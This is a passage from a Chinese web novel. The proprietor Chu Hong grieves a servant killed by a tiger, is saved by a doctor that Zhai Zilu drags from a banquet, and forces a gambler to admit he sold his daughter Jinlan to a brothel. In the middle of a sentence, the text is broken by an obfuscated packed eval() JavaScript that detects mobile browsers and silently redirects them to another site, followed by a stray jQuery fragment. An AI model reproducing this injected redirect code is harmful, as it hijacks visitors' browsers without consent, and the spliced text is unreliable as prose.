这个男人,这个赌徒,根本配不上环娘为他流的泪水。
一定是他来找金兰要钱,金兰怕他讹上自己才将金锁给了他,现在恐怕只有这个人才知道金兰的下落。
从醒过来的时候好像就没有看到老翁,褚红向一旁的小卓问道,“翁叔呢,他去哪了?还在归月居忙活吗?”
说起翁叔,小卓的眼泪又憋不住了,止不住的流下来。
“翁叔他……他出了远门。”
褚红不信他说的话,这小子什么时候也开始说谎了。
“说实话,要不然我就去换个人来问。”
见她要下床,小卓忙挡在她的身前,一抽一抽的说。
“前几日城里的草乌突然都被别人收走了,我们跑遍了附近几个镇子也被搜刮的一干二净。”
褚红的右眼突然猛的跳了一下。
“为了给你入药,我和翁叔一起去山上采草乌,然后,然后遇到了老虎,翁叔让我先走……”
说到此处,小卓的哭声更大了。
褚红的双眼有些茫然,她有些不敢相信,明明前几天还那么鲜活的人,现在却告诉他人没了。
她的手不由得握紧了被子,一口血直直吐了出来,茶杯落在了地上。
“掌柜的!掌柜的!你千万不要再有事了……”
小卓忙上前接住她要往下倒的身体。
顾不得胸口处的疼痛,褚红紧紧握着他的手,“所以王眉和徐州其实是去找老翁了,对吗?”
看着手上刺眼的红,小卓哭着说。
“对不起掌柜,我之前骗了你,徐掌柜说,总不能让他一把年纪了还做个孤魂野鬼。”
褚红露出一丝苦笑,眼睛里的泪像是断了线一样,“如果,如果当初我没有让翁叔进来躲雨,一切会不会都不一样?”
小卓看到她还在吐血,连忙将人放平自己跑出去找大夫。
“开门啊!里面有人吗?”
小卓焦急的敲着门,里面就是没有人出声,他又换了一家医馆继续敲,也是一样的情况。
他愤愤踢了一脚,“不是说医者悬壶救世吗?难道你们见死不救吗?!”
路上的行人纷纷侧目,不知道在说着些什么。
“听说是翟二爷的小妾有了身孕,全城的大夫都被喊过去请脉了。”
“这归月居的女掌柜,命还真是不好,这冬天落水本就伤身,手下的人又没了一个,既伤身又伤心的,怕是没几天活头了。”
“好不容易这扬州城出了个如此风光的女掌柜,看来也到了顶点了。”
另外一个人还颇有些惋惜。
“你们胡言乱语什么!我们家掌柜会长命百岁一生顺遂!少在这里嚼舌根!”
小卓冲他们吼道,又狠狠砸了两下门。
“到底为什么这样?!”
依旧没有人理会他,换了家医馆还是这个样子,整个扬州城他都快要跑遍了,硬是没有一家医馆被他喊开门。
他想起老翁的话,去找韩行谦,韩公子肯定有主意的。
韩行谦见敲门的是小卓,着急出声,“可是褚娘子出了什么事?”
自从上一次闹官府后,他娘就看着他紧,这次的事,也只是隐约听街坊邻居提起,每每不等他走出家门,他娘就会有一堆理由拦下他。
“掌柜的吐了血,满扬州城没有一家大夫肯出诊,我实在想不出其他办法了。”
小卓哭的伤心,韩行谦满脸着急,刚要和他一起出门的时候,被他的母亲拦下了。
“学堂不是没课了吗?这么晚了你要去哪?”
韩夫人在院子里瞥了一眼站在他身边的小卓。
“娘,褚红出事了,我必须要去看她。”
韩夫人不乐意,一个胡乱勾搭其他男人的弃妇能出什么事。
“她一不是你的亲卷,二不是你妻子,就算有什么事和你有何干系?”
“我想等我高中之后,再向她……”
韩夫人打断了他的话,“家里的房顶漏雨,难道你要让我踩着梯子上去修吗?”
一个水性杨花的女人,怎么值得他的儿子许诺她什么,别说是高中了之后,就算是没有高中,他们韩家也不可能让这样的女人进门。
小卓看出了韩夫人不喜欢掌柜的,强忍着一口怒气,“那憨公子还是留在家里修屋顶吧,多有打扰,我再想别的办法。”
小卓低着头出了巷子,难道要看着掌柜这么好的人,就这样死掉吗?
“这不是归月居的店小二吗?怎么在这里晃悠?”
翟子路认出了他,略带着些好奇,他这些日子忙着祭祖,今天才赶回来,还没能顾得上去勾搭褚红。
见这人从头到脚都光鲜亮丽,想必肯定是什么有头有脸的人。
“我们家掌柜的吐血了,大夫都去了翟家,现在没有一家医馆有大夫去给掌柜把脉。”
翟子路眉眼微微一动,都在翟家,那不好办。
“会骑马吗?”
小卓点点头,翟子路示意身后的护院将马给他,翻身上马后,二人一起扬长而去。
翟子路一进家门,就看到一堆背着药箱的白胡子老头坐坐在花厅里饮茶谈笑。
“少爷您回来了!咱府上有大喜啊!”
老管家忙跟着上前,翟子路将他拨到一边去。
“二爷的二房有喜了,老爷说要开几桌宴席,好好庆祝一下。”
闻言翟子路扭头看向管家,然后面露嘲讽,“所以找了一堆大夫来庆祝?”
老管家愣在了那里,一时不知道该说什么。
“哪位是天行医馆的赵大夫?”
来的路上小卓告诉他,褚红前几天落水,也是这个大夫看的。
人群中有个白胡子老头走了出来,翟子路看了他几眼,确定这人之前不经常来翟家之后,才将人一把拽住往门口外面走。
翟子路将老头身上的药箱甩给小卓,自己翻身上马,将那老头一把拽了上来,二人一起往桂花巷奔去。
“哎哟喂,我这一把老骨头啊。”
等到褚红睁眼的时候,她的胳膊上密密麻麻扎满了细针。
“可算是醒了。”
赵大夫擦擦头上的汗珠,将穴道的针一根根拔下来。
屋外的王眉和魏悠悠一拥而进,徐州和小卓他们站在屋外,听到人醒了纷纷松了一口气。
“掌柜的有没有好一些?”
大夫又写了一张药方,对她们嘱咐道。“切不可让病人再大喜大悲了,这次只是碰巧运气好,及时施针才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15329947|164886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救回来。”
褚红脸色煞白的靠在王眉怀里,捂着胸口,没有说什么话。
等到大夫走了之后,她才问道,“找到老翁了吗?”
她面带犹豫,害怕褚红做出什么过激的事情来。
褚红又看向魏悠悠,“你来说。”
魏悠悠看了看王眉,又被褚红盯着头皮发麻,小声道。
“刚刚我见他们抬了一副棺材回来。”
王眉担忧的看向她,褚红显得异常平静,这几日她该喝药喝药,该吃饭吃饭,没有大哭崩溃,也没有无理取闹,却让人更加紧张。
在得知找到当掉金锁的人后,她挣扎着非要下床。
“那人就是个无赖,掌柜的要是你去的话免不了要吃亏的,不如就让徐掌柜去问一问吧。”
褚红摇摇头,自顾自往自己身上加衣服,“就因为他是个无赖,所以我才更要亲自去。”
让徐州去的话,那人不一定会和他说实话,左不过是想多要些钱,她要知道金兰现在在哪?是不是安全?
“多带几个人。”
王眉见自己劝不住,最后只能由她去了。
扬州现下已经进入了冬天,等下一场雪将这里覆盖之后,又会是新的春天来临。
那座破庙里没有掌灯,黑漆漆的,许多流浪汉聚集在这里。
褚红找到那人的时候,他躲在一处神像下面睡得正熟。
小卓上去重重拍了他两下,那人才悠悠转醒。
只见眼前的女人,穿着一件上好的锦缎披风正冷冰冰的盯着自己,目光再落到她手上金锁的时候,肉眼可见的慌张起来。
“你,你们做什么?”
褚红将金锁举到他的眼前,“这是你典当给典当行的?”
那人摇摇头,“我从来没有见过这个东西。”
“可是典当行的小二说认识你。”这人应该是没有认出自己,所以才会撒这种拙劣的谎。
“前几日我的首饰盒里少了点东西,后面就出现在典当行里,如果你不是个贼的话,这个东西还能长了翅膀飞到你那里吗?”
“这,这……”,那人眼珠左右转动,隐约还有一些怒色,难不成那个小丫头敢骗他,拿着偷来的东西让他去当,现下被首饰主人抓了个现行。
她对小卓使了个眼色,“既然东西找回来了,那就把他直接拉去报官吧。”
小酌伸手就要去抓他,那人一个打滚躲过去,连忙开口,“不是我偷的,这是我女儿给我的,你要抓去抓她吧!”
“她现在在哪?”
那人支支吾吾,一会儿说东,一会儿说西。
“给我打,打到他好好说话为止。”
小卓一撸着胳膊上去就踹,“唉哟!我说我说还不行吗,被我卖了!卖了!”
“卖到哪里去了?”褚红握紧了手心。
“春香楼!春香楼!”
褚红转身往外面走,随后脚下一顿,金锁的户籍在自己手机,就算是青楼也不敢乱收她。
“如果我在那里没有找到她,你就等着去吃牢饭吧。”
那男人捂着肿了的一半脸在地上哭嚎,“我就是想还赌债而已,要不是我娘子死了我又怎么会找上她?这个杀千刀的!竟然敢拿偷来的东西让我去卖!”